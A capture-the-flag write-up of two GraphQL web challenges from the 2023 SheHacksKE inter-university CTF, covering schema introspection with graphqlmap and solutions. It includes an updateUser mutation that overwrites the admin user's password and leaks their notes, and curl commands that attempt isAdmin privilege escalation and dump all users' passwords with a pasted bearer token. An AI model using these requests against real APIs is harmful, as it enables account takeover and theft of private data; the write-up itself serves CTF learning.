SheHacksKE Intervasity CTF 2023 Writeup
SheHacksKE Intervasity CTF 2023 Web Writeups⌗
- On friday the 22nd of September 2023 I had an opportunity to take part in the Annual Intervasity CTF from SheHacksKE with some friends from fr334aks under the alias “Seekers” which was partly online and also onsite at USIU Africa, We ended up winning 🥇 beating atleast other 80 teams that had atleast a single solve in the CTF
Graph1⌗
- This was a fairly easy challenge, all that was required of us was to query the flag using the GetFlag query that would fetch the flag from the Flagtable.
Base64 decoding the encoded strings gives the flag :)
Graph2⌗
Spent sometime here as i haven’t solved alot of graphql challenges before, but in the end it was worth it, The challenge as the description said is for one to fetch or retrieve the hidden note, This hidden note probably belonged to an admin. I copied the Introspection Query from Graphql voyager to get a better understanding of the queries, available relationships etc.
I also used graphqlmap to gather more information as well, including mutations and potential injection points or queries that I missed.
what I tried and failed⌗
- Creating a User with user id 1 ❌
- Forging the Session Key (Authentication bearer) to include isAdmin user property as True ❌
- Creating a User with isAdmin user property as True ❌
- Modifying The Note with ID 1 to any title and hence be able to read the new note ❌
What worked⌗
- Modify User with ID 1 to our controlled password (?) and return the current data along with the admin notes ✔️
Solution⌗
GraphQLmap > dump_via_fragment
============= [SCHEMA] ===============
e.g: name[Type]: arg (Type!)
00: Query
findNote[]: id (Int!),
userNotes[Notes]:
getusers[User]:
getFlag[FlagTable]:
01: Notes
id[ID]:
title[]:
body[]:
userId[]:
user[]:
05: User
id[ID]:
firstName[]:
lastName[]:
isAdmin[]:
email[String]:
password[]:
notes[Notes]:
07: FlagTable
id[ID]:
flag[]:
08: Mutations
addNote[]: body (String!), title (String!),
(?) mutation{addNote(body:"string",title:"string"){ result }}
updateNote[]: body (String!), noteId (Int!), title (String!),
(?) mutation{updateNote(body:"string",noteId:1,title:"string"){ result }}
deleteNote[]: id (Int!),
(?) mutation{deleteNote(id:1){ result }}
createUser[]: email (String!), firstName (String!), lastName (String!), password (String!),
(?) mutation{createUser(email:"string",firstName:"string",lastName:"string",password:"string"){ result }}
logIn[]: email (String!), password (String!),
(?) mutation{logIn(email:"string",password:"string"){ result }}
updateUser[]: id (Int!), lastName (String!), password (String!),
(?) mutation{updateUser(id:1,lastName:"string",password:"string"){ result }}
09: addNote
ok[]:
note[]:
10: updateNote
ok[]:
note[]:
11: deleteNote
ok[]:
note[]:
12: createUser
ok[]:
user[]:
13: logIn
ok[]:
tokens[]:
14: Token
id[ID]:
user[]:
accessToken[]:
refreshToken[]:
15: updateUser
ok[]:
user[]:
16: __Schema
17: __Type
19: __Field
20: __InputValue
21: __EnumValue
22: __Directive
As you can see on the updateUser
mutation graphqlmap provided us with a sample query that we can use to update user info as
updateUser[]: id (Int!), lastName (String!), password (String!),
(?) mutation{updateUser(id:1,lastName:"string",password:"string"){ result }}`
I later modified this query to
mutation {
updateUser(id: 1, lastName: "Admin", password: "admin") {
ok
user {
id
email
firstName
lastName
password
notes {
id
title
body
}
}
}
}
which can be defined as
updateUser
ok[]:
user[]:
id[]
email[]
firstName[]
lastName[]
password[]
notes[]:
id[]
title[]
body[]
- Decode for full flag
Misc⌗
createuser⌗
curl -X POST -H "Content-Type: application/json" --data '{ "query": "mutation { createUser(firstName: \"NewUser\", lastName: \"Admin\", email: \"newuser@admin.com\", password: \"EasyPassword123\", isAdmin: true) { ok user { id firstName lastName email isAdmin } } }" }' http://128.199.47.43:5000/graphql
login⌗
curl -X POST \
-H "Content-Type: application/json" \
--data '{ "query": "mutation { logIn(email: \"koimet@koimet.com\", password: \"koimet") { ok tokens { accessToken refreshToken } } }" }' \
http://128.199.47.43:5000/graphql
GetUsers⌗
curl -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY5NTM3NTA1NCwianRpIjoiMDU3ZjY3YWYtNGRlYS00MWYzLTgwMTMtYmVkMDg3YTg0Yjc3IiwidHlwZSI6ImFjY2VzcyIsImlkZW50aXR5IjoibmV3dXNlckBhZG1pbi5jb20iLCJuYmYiOjE2OTUzNzUwNTQsImV4cCI6MTY5NTM3NTk1NH0.g0SJZtVyKQfdv-vlZJc8zfM9F4HRN00bMivuqn-RNe8" --data '{ "query": "{ getusers { firstName lastName isAdmin email password notes { id title body userId } } }" }' http://128.199.47.43:5000/graphql
userNotes⌗
curl -X POST \
-H "Content-Type: application/json" \
-H "Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY5NTM3NTA1NCwianRpIjoiMDU3ZjY3YWYtNGRlYS00MWYzLTgwMTMtYmVkMDg3YTg0Yjc3IiwidHlwZSI6ImFjY2VzcyIsImlkZW50aXR5IjoibmV3dXNlckBhZG1pbi5jb20iLCJuYmYiOjE2OTUzNzUwNTQsImV4cCI6MTY5NTM3NTk1NH0.g0SJZtVyKQfdv-vlZJc8zfM9F4HRN00bMivuqn-RNe8" \
--data '{ "query": "{ userNotes { id title body userId user { firstName lastName } } }" }' \
http://128.199.47.43:5000/graphql
References⌗
âš« hacktricks âš« ctftime